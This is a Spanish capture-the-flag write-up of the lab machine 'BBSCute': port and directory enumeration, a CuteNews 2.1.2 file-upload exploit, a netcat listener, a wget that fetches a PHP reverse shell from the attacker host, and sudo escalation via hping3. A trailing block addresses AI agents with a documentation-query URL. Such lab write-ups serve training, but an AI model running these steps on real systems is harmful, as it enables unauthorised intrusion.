# BBSCute

<figure><img src="/files/LxQYk8p8NgJqQ6LJHfqD" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Servicios disponibles

Comenzamos la resolución de este CTF enumerando los servicios que tiene disponibles.&#x20;

```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.147.128
```

<figure><img src="/files/axYdd3xGwxR3mhfS5D93" alt=""><figcaption></figcaption></figure>

5 puertos abiertos (22,80,88,110,995). Continuamos con el escaneo profundo de estos servicios.&#x20;

```
nmap -p22,80,88,110,995 -Pn -n -sVC -vvv 192.168.147.128
```

<figure><img src="/files/rve3DokXABrdzZqHkfK9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/SqlVBgopnOMbZF2Nk7RT" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mBYzJURaEVMTKWM2E86p" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Pw1HwalzUpPxxeaWmDSK" alt=""><figcaption></figcaption></figure>

Servicios disponibles:

* Puerto 22 -> SSH -> OpenSSH 7.9
* Puerto 80 -> HTTP -> Apache httpd 2.4.38
* Puerto 88 -> HTTP -> nginx 1.14.2
* Puerto 110 -> POP3
* Puerto 995 -> POP3

#### Enumeración Web

Comenzamos enumerando el contenido del servicio Web ejecutado en el puerto 80.&#x20;

<figure><img src="/files/0VxpmLt78bafORlV4HBl" alt=""><figcaption></figcaption></figure>

Vemos una página por defecto de un servidor Apache. Vamos ahora a enumerar los directorios y archivos interesantes en buscar de posibles puntos vulnerables.&#x20;

```
dirsearch -u "192.168.147.128" -i200,301 -t 30
```

<figure><img src="/files/GSM4Z0k2RsvBCeCmKjdn" alt=""><figcaption></figcaption></figure>

Abrimos el archivo /LICENSE.txt

<figure><img src="/files/kmTtGDjklzLQBcuSdrMJ" alt=""><figcaption></figcaption></figure>

Parece que se está ejecutando el CMS "Cute" en el servidor Web pero no vemos que versión.

El siguiente archivo interesante, /index.php

<figure><img src="/files/9i2hL1XNmQUSfXdhTAiu" alt=""><figcaption></figcaption></figure>

Vemos un formulario de inicio de sesión y la confirmación de la información obtenida anteriormente además de la versión ejecutada.&#x20;

### Explotación

Sabiendo que se está ejecutando el CMS "CuteNews" en su versión 2.1.2, vamos a buscar si existe algún exploit para este CMS.

<figure><img src="/files/NmWZUpR9zQUXc2q20Shj" alt=""><figcaption></figcaption></figure>

Vamos a descargar este exploit para ver como se ejecuta.

<figure><img src="/files/uBrZjnzffY306cTY6pXO" alt=""><figcaption></figcaption></figure>

Este exploit aprovecha una vulnerabilidad de carga de archivos en la carga de imágenes de avatar.&#x20;

El exploit no funciona de inmediato. La razón es que no estamos situados en /CuteNews, estamos sentados en el directorio raíz. Debemos bsucar y reemplazar las referencias de /CuteNews, entonces este exploit funcionará.

<figure><img src="/files/PSoZkfGKQa33XI7OIcNf" alt=""><figcaption></figcaption></figure>

Una vez hemos realizado las modificaciones en el exploit, ejecutamos.

<figure><img src="/files/GzrCN7StsxPtevpaKOs7" alt=""><figcaption></figcaption></figure>

Tenemos conexión con la máquina objetivo aunque no una shell como tal. Para ello, vamos a cargar una reverse shell en el sistema objetivo de la siguiente manera:

* Preparamos un archivo "php-reverse-shell.php" con nuestra IP y puerto de escucha.

<figure><img src="/files/J0o5pAHU7joUwy1V3x4M" alt=""><figcaption></figcaption></figure>

* Ponemos un oyente nc a la escucha en el puerto 1234.

```
nc -lnvp 1234
```

* Habilitamos un servidor HTTP con Python para enviar este archivo a la máquina víctima

```
En la máquina de ataque: python2 -m SimpleHTTPServer 80
En la máquina objetivo: wget http://192.168.49.147/php-reverse-shell.php
```

* Abrimos el archivo en el navegador Web, y ya tendremos conexión.&#x20;

<figure><img src="/files/Ookg8oAhpBZmGEG4j8SZ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cJvuDZrJxVJcXd7oXJNN" alt=""><figcaption></figcaption></figure>

Realizamos el tratamiento de la tty:

```
 python -c 'import pty;pty.spawn("/bin/bash")'
```

<figure><img src="/files/Ri4Vn2wieNYFnSIuMvXS" alt=""><figcaption></figcaption></figure>

El siguiente paso, buscar la flag de privilegios bajos, local.txt.

<figure><img src="/files/kF9S5Q9leVdJFN4hbDtw" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Vamos a comprobar los privilegios de sudo de nuestro usuario:

```
sudo -l
```

<figure><img src="/files/xOHYoCrpCsSTslUMJRjP" alt=""><figcaption></figcaption></figure>

Se permite  escalar desde hping3.&#x20;

<figure><img src="/files/r91lVLeVAcUbnV5W6xU5" alt=""><figcaption></figcaption></figure>

Solo quedará buscar la flag proof.txt

<figure><img src="/files/vssah5HfRjOq0gL38ZdA" alt=""><figcaption></figcaption></figure>

Y ya estaría la máquina "BBSCute" resuelta y terminada.&#x20;

{% embed url="<https://www.youtube.com/watch?v=KvOLHb_pO5c>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/bbscute.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
